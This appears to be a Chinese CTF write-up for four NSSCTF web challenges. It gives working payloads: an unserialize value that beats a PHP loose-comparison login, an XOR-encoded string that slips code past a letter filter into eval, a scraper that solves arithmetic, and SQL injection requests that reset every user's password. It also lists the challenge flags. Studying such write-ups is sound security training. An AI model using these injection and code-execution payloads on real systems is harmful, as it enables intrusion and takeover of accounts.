checkin 
考点:反序列化,弱比较,php
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source(__FILE__); $username  = "this_is_secret";  $password  = "this_is_not_known_to_you";  include("flag.php");//here I changed those two  $info = isset($_GET['info'])? $_GET['info']: "" ; $data_unserialize = unserialize($info); if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){     echo $flag; }else{     echo "username or password error!"; } ?> 
代码审计,只需要传入的info的username和password值与变量的值弱比较。
这里很容易想到相等(强比较),但是其实是弱比较,而且根据提示可以知道这两个变量的值会改变,所以我们不知道确切的值,直接构造赋值0和1,最后发现0和0成功了,所以这两个变量改变了后还是字符串
NSSCTF{29cf034a-9052-4aec-b776-b1c8b18b82f5}
 
HowToGetShell 
考点:无字母rce,php
 
1 2 3 4 5 6 7 <?php show_source(__FILE__); $mess=$_POST['mess']; if(preg_match("/[a-zA-Z]/",$mess)){     die("invalid input!"); } eval($mess); 
过滤了所有字母,但有字母,可以使用异或绕过。脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " #可以用的符号 answer = "phpinfo"  #要构造的命令 tmp1,tmp2 = '','' for c in answer:     for i in valid:         for j in valid:             if (ord(i)^ord(j) == ord(c)):                 tmp1 += i                 tmp2 += j                 break         else:             continue         break print(tmp1,tmp2) //0302181 @[@[_^^ ,所以传入"0302181"^"@[@[_^^" 
payload:
1 mess=$_="0302181"^"@[@[_^^";$_(); 
NSSCTF{3290ae33-f255-4d6b-9bba-2b1be6ddd485}
 
Calculate 
考点:python,web,脚本编写
 
直接上脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests from bs4 import BeautifulSoup import re import time # 假设这是我们要与之交互的网站的URL url = 'http://node5.anna.nssctf.cn:28984/'  # 请替换为实际的URL # 创建一个会话来保持cookie和其他会话信息 session = requests.Session() # 正则表达式模式来匹配数字或运算符,它们被<div>标签包围 pattern = re.compile(r'<div[^>]*?>([0-9+\-*\/=]+)</div>') # 循环直到我们找到包含关键词"ctf"的页面 for i in range(20):     # 发送GET请求来获取当前页面     response = session.get(url)     html_content = response.text          # 使用BeautifulSoup解析HTML内容     soup = BeautifulSoup(html_content, 'html.parser')          # 查找所有包含数字或运算符的<div>标签     divs = soup.find_all('div', text=re.compile(r'[0-9+\-*\/=]'))          # 使用正则表达式从标签中提取数字或运算符     tokens = pattern.findall(str(divs))          # 拼接成一个数学表达式(注意:这里假设表达式是简单的,没有括号)     # 我们需要去除任何多余的空格和可能的=符号(它可能是表达式的一部分或用于提示用户输入)     # 并且我们假设=符号后面不会紧跟数字或运算符(即它是表达式的结尾)     expression_parts = [token for token in tokens if token != '=']     expression = ''.join(expression_parts).replace(' ', '')     print(expression)     # 计算表达式的值(注意:这里使用eval有安全风险,但在本例中为了简化而使用)     try:         result = eval(expression)     except Exception as e:         print(f"Error evaluating expression '{expression}': {e}")         break     # 为了避免过快地发送请求,我们添加了一个短暂的延迟(至少1秒)     # 根据题目要求,我们不能在1秒内回答一个问题,所以这里使用0.5秒的延迟     time.sleep(1.1)     # 准备POST数据     post_data = {'ans': result}     print(result)     # 发送POST请求将答案发送回服务器     post_response = session.post(url, data=post_data)               # 检查响应内容是否包含关键词"ctf" print(post_response.text)      # 关闭会话 session.close() 
NSSCTF{32a5eadd-b078-4e0c-9570-1b2852476085}
 
ezsql 
考点:sql注入
 
先扫一下目录,发现源码,审计源码,发现sql注入
根据提示,存在sql注入,直接sqlmap扫
发现在年龄处存在sql注入漏洞,且根据payload可以看出是数字型注入
1 2 3 4 5 6 修改当前表所有nickname为444 nickname=aa&age=11,nickname=444%23&description=111&token= 修改当前表所有password为123 nickname=aa&age=11,password=0x3230326362393632616335393037356239363462303731353264323334623730%23&description=111&token= #0x3230326362393632616335393037356239363462303731353264323334623730=hex(md5(‘123’)) #urlencode(#)=%23 
NSSCTF{3a6a5fad-87c3-4a7a-a6b6-35f1a532b42e}